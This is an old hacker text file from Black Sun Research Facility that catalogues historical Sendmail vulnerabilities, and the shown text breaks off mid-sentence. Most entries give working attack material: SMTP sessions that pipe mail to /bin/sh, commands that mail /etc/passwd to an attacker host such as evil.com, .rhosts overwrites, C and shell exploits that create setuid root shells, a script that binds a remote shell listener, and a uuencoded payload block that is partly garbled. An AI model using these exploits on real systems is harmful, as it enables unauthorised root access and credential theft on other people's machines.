 ###########         #                   ###             #########      ##     # 
 ############       ###                 #####           ###  #####     ###     ##
 #####    ####     #####               #######         ###    ###     ####    ###
 #####    #####   #######             #########       ###      #      ####  ####
  ####   #####    #######            ###########     ###               ### ####
   #########      #######           ####     ####    ###               #######  
    ###########    #####           #####     #####    ###     ##      ####### 
   #############    ###   ##      ######  #########    ###   ####     #########
  ######     ####    #   ####      ########  #####      ##  ######     ###   ###
 ######     ####     ##########     ####     ####        #########     ###  #####
 #####     ####       ##########     ###     ###          #######     ####  ######
 #############         ##########     ##     ##            #####      ####   ####
 ###########            ########      ##     ##             ###        ###    ##

   #######       #     #        #     #
  ##########    ##     ##      ##     ##            
 ###    ###     ##     ##     ###     ###                                         
  ###    #     ###     ###   #####    ####           Black Sun Research Facility  
    ###         ##     ##    ######   ####             http://blacksun.box.sk     
      ###       ##     ##    #######  ####                 ASCII By : cyRu5       
   #   ###     ###     ###   ####  #######         
  ###  ####   ####     ####   ###   #####               
 ###########   ###########     ##    ###
  #########      #######        #     #
_______________________________________________________________________

Various Sendmail Holes: By Ankit Fadia <ankit@bol.net.in>
_______________________________________________________________________

Sendmail, known as the buggiest daemon on earth has a history of having
A large number of bugs. In this text, I have made a list of known
Sendmail holes. Of course, the list is not complete, but it's an
example of how many bugs Sendmail has had over the years.
I also recommend that you read the Sendmail security tutorial at
http://blacksun.box.sk in order to get a better view of what exactly is
Sendmail.

-----------------------------------------------------------------------

  Hole                         Version of Sendmail

-----------------------------------------------------------------------

= WIZ =                        *oLD*

= DEBUG =                      *oLD*

= TURN =                       *oLD*

= OVERFLOW INPUT BUFFER =      *oLD*

= DECODE ALIAS =               *VrFy*

= qf SunOS =                   *SunOS-sendmailV5.1*

= -oR SunOS =                  *SunOS-sendmailV5.22*

= -oM =                        *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*

= OVERWRITE FILES =            *FiXED iN 5.59*

= -oQ =                        *DuNNo*

= |PROGRAM =                   *TeSTeD oN 5.55*

= .forward =                   *5.61*

= TAIL =                       *TeSTeD oN 5.65*

= -C =                         *oLD*

= 4.1 =                        *TeSTeD oN 4.1*

= -d########### =              *8.X.X <8.6.7*

= -oE/filename bounce=         *8.6.7*

= 8.6.9 ident =                *8.6.9*

= 8.6.9 newlines =             *8.6.9*

= 8.6.10 ident/newlines =      *8.6.10*

= HP-UX =                      *HP-UX 9.x*

= 8.7.5 gecos =                *8.X.X <8.8.0* *TeSTed oN 8.6.12*

= mime7to8() =                 *8.8.0*

= smtpd =                      *8.7-8.8.2*

=Local DOS=                    *Upto 8.9.3*

=Buggy Helo Command=           *8.8.8*

=Gaint Sendmail Bug=           *8.8.4*
 

-----------------------------------------------------------------------

WIZ = *oLD* =

The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very
difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and
you're in a root shell. [ it can be set by configuring sendmail.cf file ...
'OW' option immediately followed by the encrypted password ]

DEBUG = *oLD* =

This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting
allows anyone to execute any program on a remote machine. It simply
consists in giving the 'debug' command, use a pipe to /bin/sh as recipient
and feed the data with the commands you want to be executed on the remote
machine.

[ If sendmail server answers with "200 Debug set" to the 'debug' command
there are good chances the bug is still present ]

Example :

#!/bin/sh

telnet << EOF

open fucked.host.edu 25

debug

mail from: </dev/null>

rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">

data

cp /bin/sh /tmp/sushi          # or alternatively:

chmod 4755 /tmp/sushi          # echo "+ +" >> /.rhosts

.

EOF

TURN = *oLD* =

TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]

OVERFLOW INPUT BUFFER = *oLD* =

Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
;) ]

DECODE ALIAS = *VrFy* =

If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
decode, write to any file onwed by daemon, if they can connect to sendmail
daemon, can write to any file owned by any user.

To test the existence of decode alias from a sendmail connection do:

% telnet target.com

Trying 127.127.127.127

Connected to target.com

Escape character is '^]'.

220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT

expn decode

250 <"|/usr/bin/uudecode">

quit

1SecExploit:

% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com

MoreThan1SecExploit:

% cat > outfile                  # Let's make our .rhosts file

+ +

^C

% uuencode outfile /usr/bin/.rhosts

begin 644 /bin/.rhosts

$*R'K"O\

% telnet fuqdhost.com 25

220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)

VRFY decode

250 <|/usr/bin/uudecode>

MAIL FROM: bin

250  ... Sender Okay

RCPT TO: decode

250  ... Recipient Okay

DATA

354 Enter mail, end with "." on a line by itself

begin 644 /bin/.rhosts

$*R'K"O\                       # which is just "+ +" uuencoded

end

.

250 Mail accepted

quit

221 fuqdhost.com closing connection

Connection closed by foreign host.

% rlogin fuqdhost.com -l bin

$

If no home directories are known or writable, an interesting variation of
this is to create a bogus /etc/aliases.pag file that contains an alias with
a command you wish to execute on your target. This may work since on many
systems the aliases.pag and aliases.dir files, which control the system's
mail aliases, are writable to the world.

 evil % cat decode

 bin: "| cat /etc/passwd | mail zen@evil.com"

 evil % newaliases -oQ/tmp -oA`pwd`/decode

 evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com

 evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

qf SunOS = SunOS-sendmailV5.1 =

The method used by sendmail version 5 to open a control file
[/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby
another process may obtain a control-file file descriptor, opened for write
access. Sendmail v5, during execution, sets umask(0), which is an insecure
mask. In order not to leave open control files with mode 666, sendmail v5
uses chmod(2) to set a secure file mode. However this is a race condition,
as we can obtain an open file descriptor for write by opening the control
file before the call to chmod(2).

IMPACT: Local users can write their own control files, and run programs

        as any user, bar root.

EXPLOIT:

grabfd.c:

/*

 * grabfd.c

 * usage: grabfd username command-file

 *

 *      username: user to execute 'command-file' as.

 *      command-file: file containing 10 lines of shell commands to execute.

 */

#include <stdio.h>

#include <unistd.h>

#include <sys/fcntl.h>

#include <sys/param.h>

#ifndef SENDMAIL

#define SENDMAIL "/usr/lib/sendmail"

#endif

#ifndef SPOOL_DIR

#define SPOOL_DIR "/usr/spool/mqueue"

#endif

char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";

main(argc,argv)

int argc;

char **argv;

{

        int pid, fd;

        char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];

        if (argc != 3) {

                (void)fprintf(stderr, "%s: user file\n",

                        argv[0]);

                exit(1);

        }

        if (getpwnam(argv[1]) == NULL)

                (void)fprintf(stderr, "%s: user %s unknown (error

ignored)\n",

                        argv[0],

                        argv[1]);

        if (access(argv[2], F_OK) == -1) {

                (void)fprintf(stderr, "%s: %s does not exist.\n",

                       argv[0],

                       argv[2]);

                exit(1);

        }

        if (access(SPOOL_DIR, X_OK) == -1) {

                (void)fprintf(stderr, "%s: cannot access %s.\n",

                        argv[0],

                        SPOOL_DIR);

                exit(1);

        }

        if (pid=fork()) {

                if (pid == -1) {

                        (void)perror("fork");

                        exit(1);

                }

                (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);

                (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);

                for (;;)

                        if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {

                                (void)printf("%s: grabbed queue fd.\n",

                                             argv[0]);

                                (void)wait();

                                (void)ftruncate(fd, 0);

                                (void)write(fd, sysbuf, strlen(sysbuf));

                                (void)close(fd);

                                if(execl(SENDMAIL,

                                      "sendmail", "-q", (char *)0) == -1) {

                                        (void)perror("execl");

                                        exit(1);

                                        };

                        }

        } else {

                (void)close(0);

                if (open("/etc/motd", O_RDONLY, 0) == -1) {

                        (void)perror("open");

                        exit(1);

                };

                if (execl(SENDMAIL,

                          "sendmail",

#ifdef sun

                          "-os",

#endif

                          "-odq", getlogin(), (char *)0) == -1) {

                        (void)perror("execl");

                        exit(1);

                };

        }

        exit(1);

}

::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::

-oR SunOS = SunOS-4.1.X-sendmail V5.22 =

From 8lgm:

DESCRIPTION: The -oR option uses popen() to return undeliverable mail.

IMPACT: Local users can obtain root access.

-------------------------- ropt.sh ---------------------------------------

#!/bin/sh

#

# Syntax: roption host

#

# host is any system running sendmail (except localhost).

#

# This exploits a flaw in SunOS sendmail(8), and attempts

# create a suid root shell

#

# Written 1995 by [8LGM]

# Please do not use this script without permission.

#

PROG="`basename $0`"

PATH=/usr/ucb:/usr/bin:/bin      export PATH

IFS=" "                          export IFS

# Check args

if [ $# -ne 1 ]; then

        echo "Syntax: $PROG host"

        exit 1

fi

# Check we're on SunOS

if [ "x`uname -s`" != "xSunOS" ]; then

        echo "Sorry, this only works on SunOS"

        exit 1

fi

PROG="`basename $0`"

EXECME=/tmp/HotterThanMojaveInMyHeart

# Create EXECME.c

cat > $EXECME.c << 'EOF'

main(argc,argv)

int argc;

char *argv[];

{

        chown("/tmp/InfamousAngel", 0, 0);

        chmod("/tmp/InfamousAngel", 04755);

}

EOF

cc -o $EXECME $EXECME.c

# Check we have EXECME

if [ ! -x $EXECME ]; then

        echo "$PROG: couldnt compile $EXECME.c - check it out"

        exit 1

fi

/bin/cp /bin/sh /tmp/InfamousAngel

# Run sendmail

/usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'

To: No1InParticular

Hows it goin

EOF

exec /tmp/InfamousAngel

................................ Cut HeRe ...................................

-oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =

Sun sendmail allows -oM to set any macro, and still retains root privilege.
( The list of 'trusted' macros should be limited. )

At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail
- all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "

After further investigation, it has been discovered that SVR4 based ports
include sendmail(8) based on SMI code.

EXPLOIT:

  1. Create the file sunsendmailcp

     8>------------------------- cut here ---------------------------

     #!/bin/sh

     #

     # sunsendmailcp from to

     if [ $# -ne 2 ]; then

             echo usage: `basename $0` from to

             exit 1

     fi

     rm -f /usr/tmp/dead.letter

     if [ -f /usr/tmp/dead.letter ]; then

             echo sorry, cant continue - /usr/tmp/dead.letter exists

     fi

     if [ ! -r $1 ]; then

             echo $1 doesnt exist or is unreadable

             exit 1

     fi

     ln -s $2 /usr/tmp/dead.letter

     /usr/lib/sendmail -L0 '-oM#anything' $USER < $1

     rm /usr/tmp/dead.letter

     exit 0

     8>------------------------- cut here ---------------------------

  2. Execute the command % ./sunsendmailcp sourcefile targetfile and target
     file will either be appended to or created.

OVERWRITE FILES = FiXED iN 5.59 =

Remote users are able to write to any non-root owned files in the system.
This bug was definitely fixed in version 5.59 from Berkeley; despite the
messages below, for versions of sendmail previous to 5.59, the "evil.com"
gets appended, despite the error messages, along with all of the typical
mail headers, to the file specified:

 % cat evil_sendmail

 telnet victim.com 25 << EOSM

 rcpt to: /home/zen/.rhosts

 mail from: zen

 data

 random garbage

 .

 rcpt to: /home/zen/.rhosts

 mail from: zen

 data

 evil.com

 .

 quit

 EOSM

 evil % /bin/sh evil_sendmail

 Trying 128.128.128.1

 Connected to victim.com

 Escape character is '^]'.

 Connection closed by foreign host.

 evil % rlogin victim.com -l zen

         Welcome to victim.com!

 victim %

'-oQ' = DuNNo =

This bug involves the '-q' and the '-oQ' options and causes any file to be
deleted and read. You should create a 'qf'-type file, in the
/usr/spool/mqueue dir, like this:

P28

T599831504

Dfilename

Suser

Ruser

H?P?return-path:

H?F?from: user (User Name)

H?x?full-name: User Name

HTo: user

Hsubject: Gotcha

after the command `sendmail -q -oQ' is issued, file `filename' will be
deleted and its content will be mailed to 'user'.

- - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to
queue messages The 'q' make the daemon to process the queue - - - -

'|PROGRAM ' = TeSTeD oN 5.55 = ...may be others

Anyone can specify arbitrary shell commands and/or pathnames for the sender
and/or destination address. A typical attack to get the password file is:

 % telnet target.com 25

 Trying 123.456.789.0...

 Connected to target.com

 Escape character is '^]'.

 220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51

 mail from: "|/bin/mail me@myhost.com < /etc/passwd"

 250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok

 rcpt to: mickeymouse

 550 mickeymouse... User unknown

 data

 354 Enter mail, end with "." on a line by itself

 .

 250 Mail accepted

 quit

 Connection closed by foreign host.

 %

.forward = 5.61 =

When delivering to files and programs, `sendmail' does not do an
`initgroups(3)' after forking on final delivery. As a result, the sender's
group list remains in effect throughout this stage. This is particularly
serious when root is sending the mail since a program executed out of a
`.forward' file gains interesting privileges like `wheel' and `kmem'. A
related hole can be broken down into a "problem" and an "aggravation". The
"problem" is that queued local mail no longer has the original recipient's
uid associated with it. Control files only store a list of exploded
recipients (i.e. users, files and programs) -- one per line -- each
prefaced with an `R'.

So, after an address resolves to the local machine and has undergone alias
and ".forward" expansion, if the letter happens to get queued, on the
succeeding queue run sendmail doesnt know who to run the final delivery as.
The "aggravation" is that, when doing this final delivery of queued local
mail, sendmail will `setuid()' itself to the sender's uid if it is
available; in general, the sender's uid will be used when the sender is on
the local machine. As a result, a user can run a program as anyone who
sends them mail from the local machine. There is also an added
"complication"; the default uid and gid are also set to the sender when
delivering mail! Since the default uid and gid are only used when calling
`setuid()' and `setgid()' (to reset the uid/gid before doing final
delivery), these variables should never be set to the sender.

              |------------------------------ Local compromise
                      ------------------------------|

Save the following program as "sploit.c" changing MYUID to your user id.
Compile "sploit.c" producing the executable "sploit" in your home
directory. Create a ".forward" file containing:

     \<user>, "|<path>/sploit"

[change to your username so you dont lose mail (unless, of course, you'd
rather lose mail) and set <path> to your home directory path (where sploit
lives)] Now, as another user, send yourself some mail. Note that the sploit
program defers delivery the first time thru; check out "/tmp/whoami" to see
that sploit ran as you. Now, run your mail queue (or open a beer and wait
for sendmail to run it). After the queue run, note that the sploit accepted
the letter and returned a successful exit status; check out "/tmp/whoami"
again to see that this time, sploit ran as the sender! You can also use
"sploit.c" to test for the root initgroups() hole by checking the group
list when "sploit" was first called.

     #include <sys/param.h>

     #include <sys/types.h>

     #include <stdio.h>

     #include <sysexits.h>

     #include <pwd.h>

     #include <grp.h>

     #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */

     #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */

     #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */

     main()

     {

     FILE *fp;

     uid_t myuid;

     int i, rval, ngrps, grplst[NGROUPS];

     if ((myuid = getuid()) == MYUID)

     rval = EX_TEMPFAIL;

     else

     rval = EX_OK;

     if ((fp = fopen("/tmp/whoami", "a")) != NULL) {

     /* real user/group ids */

     fprintf(fp, "%susr:%s grp:%s",

     (rval == EX_OK)? "": "Def> ",

     getuser(myuid), getgrp(getgid()));

     /* effective user/group ids */

     fprintf(fp, " eusr:%s egrp:%s",

     getuser(geteuid()), getgrp(getegid()));

     /* group list */

     if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {

     fprintf(fp, " grps:");

     for (i = 0; i < ngrps; i++)

     fprintf(fp, " %s", getgrp(grplst[i]));

     }

     fprintf(fp, "\n");

     (void) fclose(fp);

     }

     exit(rval);

     }

--------------------- CuT HeRe -------------------------------------------------

=====================  trick for sendmail 5.61  ===========================

/*

 * 1) set the #define UID, at the top of the program to be your's

 * 2) create a file: /tmp/.shell, which is a script to make a suid shell

 * 3) compile the program and name it say, /tmp/.magic

 * 4) create a .forward file containing: '|/tmp/.magic'

 * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever

 *    you want a shell from (but not root :-( RATS!)

 * 6) wait abit, it usually works ...

 */

#define UID 777   /* change to your uid */

#include <sys/param.h>

#include <sys/types.h>

#include <stdio.h>

#include <sysexits.h>

#include <pwd.h>

#include <grp.h>

#define SHELLFILE  "/tmp/.shell"

main()

        int myuid, rval;

        if ((myuid = getuid()) == UID)

                rval = EX_TEMPFAIL;

        else {

                rval = EX_OK;

                system(SHELLFILE);

        }

        exit(rval);

}

------------------------------ CuT HeRe --------------------------------

Tail creates a daemon shell = TeSTeD oN 5.65 =

Through this sendmail bug, it is possible to become uid daemon (or whatever
your sendmail delivers non-user mail as), or the uid of any user. The
specifics are as follows:

   * The envelope From: field, or possibly the Errors-To: header (but I've
     not tested it), must be set to the pipe through a bounce of your mail
     will be returned. Typically this is executed by uid daemon.
   * An error must be caused in the message such that sendmail will send a
     bounce to the From: envelope (or possibly to Errors-To:).

These two conditions are all that is necessary to exploit the bug.
Typically the simplest thing to pipe to is



        |/usr/ucb/tail|/usr/bin/sh

aka     |/usr/ucb/tail|/bin/sh

That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/;
the PATH is important in the case.

The condition we have used to generate an error is an invalid
Return-Receipt-To: header. There are a plethora of other ways to do so, and
some of them may depend on the specifics of your sendmail; be forewarned.

The last ten lines of your message should contain whatever you wish to do
as uid daemon.

---cut here

[panix!jhawk] |% telnet panix.com 25

Trying 198.7.0.2 ...

Connected to panix.com.

Escape character is '^]'.

220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13

-0500

HELO

250 Hello panix.com, why do you call yourself ?

MAIL FROM: |/usr/ucb/tail|/usr/bin/sh

250 |/usr/ucb/tail|/usr/bin/sh... Sender ok

RCPT TO: root

250 root... Recipient ok

DATA

354 Enter mail, end with @.@ on a line by itself

 From: jhawk"panix.com (John Hawkinson)

  To: jhawk"panix.com (John Hawkinson)

  Return-Receipt-To: |foobar

  Subject: This is a large hole in the ground.

  X-Disclaimer: We take no responsibility for what might happen

  Hi there. Wanna play ball?

  #!/bin/sh

  #The above line is just in case :-)

  echo This is a Serious Bug > /tmp/bug

  echo id reports: >> /tmp/bug

  /usr/bin/id >> /tmp/bug

  echo Fixing this would be good >> /tmp/bug

  cp /bin/sh /tmp/bugshell

  chmod u+s /tmp/bugshell

  echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug

  chmod ugo+rx /tmp/bugshell

.

250 Ok

quit

221 panix.com closing connection

------------------------- CuT HeRe ----------------------------------------

"-C" = oLD =

Read any file. Using the '-C' option causes an alternative configuration
file to be used, if the file is a protected file which is actually not a
send mail configuration file, `sendmail' will print out some contents of
the file as an error message.

It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)

$ sendmail -C /etc/shadow

<contents of /etc/shadow>



4.1 = TeSTeD oN 4.1 =

It allows remote access as bin...and since bin owns the /etc dir you can
gain root.

Rsend needs mconnect, which is a binary, which just connects to the place
and sends the data. You can get rid the of ()'s at the beginninga and end
of the script, and get rid of the mconnect line, and run like ./rsend >
file, then ascii U/L the file to port 25...If it says a lot of stuff like
"Command Ununown" 25 times, then it didn't work.

Here's rsend:

#!/bin/sh

# Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)

#

# This material is copyrighted by Scott Chasin, 1992, 1993. The

# usual standard disclaimer applies, especially the fact that the

# author is not liable for any damages caused by direct or indirect

# use of the information or functionality provided by this program.

#

# Description:

#

# Exploit NEW sendmail hole  and bind a port so we can spawn a program.

# Not for distribution under any circumstances

#

# Usage: smail

# default: smail   <7001>

port=$3

user=$2

cmd=$4

if [ -z "$2" ]; then

   user=daemon

fi

if [ -z "$3" ]; then

   port=7002

fi

if [ -z "$4" ]; then

   cmd="/bin/csh -i"

fi

(

sleep 4

echo "helo"

echo "mail from: |"

echo "rcpt to: bounce"

echo "data"

echo "."

sleep 3

echo "mail from: $user"

echo "rcpt to: | sed '1,/^$/d' | sh"

echo "data"

echo "cat > /tmp/a.c <

#include <sys/signal.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;

int **av;{struct sockaddr_in mya;struct servent *sp

;fd_set muf;int myfd,new,x,maxfd=getdtablesize();

signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,

0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,

sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port

=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,

(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,

1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if

(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto

loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()

==0){for(x=2;x

Or you can also ul this to port 25. BTW, it gets you in by running a
program that listens to port 7008... you telnet to port 7008. You can then
proceed to create new users in /etc/passwd because you own the /etc
dir...you need to type a ; after every command, and it gives you 1 error
every command...ignore it. The process may be noticed by a few admins.

helo

mail from: |

rcpt to: bounce

data

.

mail from: bin

rcpt to: | sed '1,/^$/d' | sh

data

cat > /tmp/a.c <

#include <sys/signal.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;

int **av;{struct sockaddr_in mya;struct servent *sp

;fd_set muf;int myfd,new,x,maxfd=getdtablesize();

signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,

0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,

sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port

=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,

(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,

1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if

(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto

loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()

==0){for(x=2;x

-d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4 =

This bug is present in all 8.X.X sendmail versions prior to 8.6.7 Here
follow excerpts from Michael Widner's message on Bugtraq with his script
for SunOs and Solaris, and another script tested on SunOS 5.2 with sendmail
8.6.4:

"The important thing to know is that if your sendmail crashes when you pass
it something like -d387654321 then it can most likely be exploited to gain
root access.

Without going into much detail, -dx.y writes y into the debug array as
array[x]=y. Range checking is not performed properly on x, so it's possible
to pass negative integers that pass the range check. Find a key location
before the debug array, over write it, and you're in business.

The problem in trying to create a generic script is that the 'key'
locations have different offsets from the debug array for every version of
sendmail. Sometimes they're easy to locate if you can get a core, but
sometimes it is tough to get a core w/o already being root. Also, sometimes
a core tells you nothing.

The following script is Sun specific, and patches are now available for all
versions of Sun sendmail. The script creates a suid root owned copy of
/bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you
choose some program other than /bin/sh. "

#!/bin/sh

# This script takes advantage of sendmail's (mis)interpretation of

# very large unsigned ints as signed ints when accessing the debug

# array.  As it, it will work with the 8 versions of sun sendmail

# that I have access to.  Perhaps I'll update it if I find new

# versions of sun sendmail.

# NOTE:  This is a Sun specific script.  Don't expect it to work with

#        any non-sun sendmail.

# -Michael R. Widner (atreus)        3/25/94

#

# usage:  smdhole [/path/to/suid/sendmail]

#

# add /usr/ucb to path so solaris can find `whoami` (4/18/94)

path=$path:/usr/ucb

if [ $1x = x ]; then

        sendmail=/usr/lib/sendmail

else

        echo "Trying to abuse $1."

        sendmail=$1

fi

sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`

# prefix and suffix for -1 as unsigned integer.  Actually, this is

# off by two.  you figure out why.

prefix=42949

suffix=67297

case $sm_size in

        132064)

                n1=${prefix}52864

                n2=${prefix}52865

                n3=${prefix}52866

                echo Patched solaris w/o mx.

                ;;

        134752) # ug! dropped a 0 before.  fixed 4/18/94

                n1=${prefix}01656

                n2=${prefix}01657

                n3=${prefix}01658

                echo Patched solaris sendmail.mx

                ;;

        130860)

                n1=${prefix}53016

                n2=${prefix}53017

                n3=${prefix}53018

                echo Un-patched solaris w/o mx.

                ;;

        133548) # ug! dropped a 0 before.  fixed 4/18/94

                n1=${prefix}01808

                n2=${prefix}01809

                n3=${prefix}01810

                echo Un-patched solaris sendmail.mx

                ;;

        139264)

                n1=${prefix}49609

                n2=${prefix}49610

                n3=${prefix}49611

                echo Sun 4.1.3 sendmail - could be either of two versions

                n4=${prefix}49265

                n5=${prefix}49266

                n6=${prefix}49267

                ;;

        155648)

                n1=${prefix}46953

                n2=${prefix}46954

                n3=${prefix}46955

                echo Sun 4.1.3 sendmail.mx - could be either of two versions

                n4=${prefix}46609

                n5=${prefix}46610

                n6=${prefix}46611

                ;;

        *)

                echo "I don't know what version of sendmail $sendmail is."

                echo -n "Look for other versions of sendmail[.mx] on the "

                echo "system and re-run this as:"

                echo "     $0 /path/to/another/suid/sendmail"

                echo

                echo "Let me see if I can suggest anything..."

                find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001

-ls 2>/dev/null

                exit 1

                ;;

        esac

cat << EOM > /tmp/sendmail.cf

DMether

DRlocalhost

CRlocalhost

CDMailer-Daemon root daemon uucp

DlFrom \$g  \$d

Do.:%@!^=/[]

Dq\$g\$?x (\$x)\$.

De\$j nothing

OA./aliases

OF0666

Og1

OL0

Oo

OPPostmaster

OQ.

Os

Ou1

T root daemon uucp

H?F?From: nobody

Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u

Mprog,  P=/tmp/in.telnet,   F=lsDFMeuP,  S=10, R=20, A=sh -c \$u

S0

R\$+                    \$#local \$:\$1                 just rewrite

EOM

cat $0 | sed "s:atreus::" | uudecode

uncompress /tmp/in.telnet.Z

chmod 755 /tmp/in.telnet

mkdir /tmp/mail

cp /tmp/sendmail.cf /tmp/mail

cp /bin/sh /tmp/newsh

chmod 666 /tmp/newsh

$sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami`  <Q2RA)! %(atreus

M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<4A@716atreus

M+H@"%QQ:D@!. ":U%L;2T'36E%H$D 0 H"!ML><#H0N.!B?A-(#4!5>PGGT9atreus

M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus

M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus

M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus

MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus

M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2)  AT MN;AF:Z\Q@K atreus

M 7F8E4([MJZ1:X<?AOC0JY DAY( ((!3UR__$-: )!)D"XT 8%!FEXLY)3"Latreus

M)>02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus

M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I  *.%R  0BI51#1!36 $ 
4(1>7X0Y$5)%M!!R"TL$L(50[ atreus

MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus

M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus

M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus

M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus

M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus

MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus

M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus

MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -
J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus

MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus

MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus

M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus

M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus

MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus

+^MKWOOC-KW[WFUS=atreus

 atreus

endatreus

----------------------- CuT HeRe -------------------------------------

Here it is the other script:

/* What follows is a sample run exercising the latest sendmail hole and the
script used to exploit this hole. This is a re-send; I neglected to escape
the "." in the sendmail script, leaving the program slightly truncated. To
fix this, I have escaped the . so prior to executing this you must remove
the \. (does that make any sense? :-) There was also a small problem with
nested quotes pointed out by Peter Wemm which I have fixed.

This is the "small version" of the script; it assumes you have a sane
sendmail.cf. In this manner, it is not a particularly robust "breakin
script" but I believe it does illustrate how to exploit the bug.

This program uses "calc.c," the program mentioned by Timothy Newsham in an
earlier message. The program has been modified slightly so that it gives
better results (it would occasionally fail to locate the offset of a config
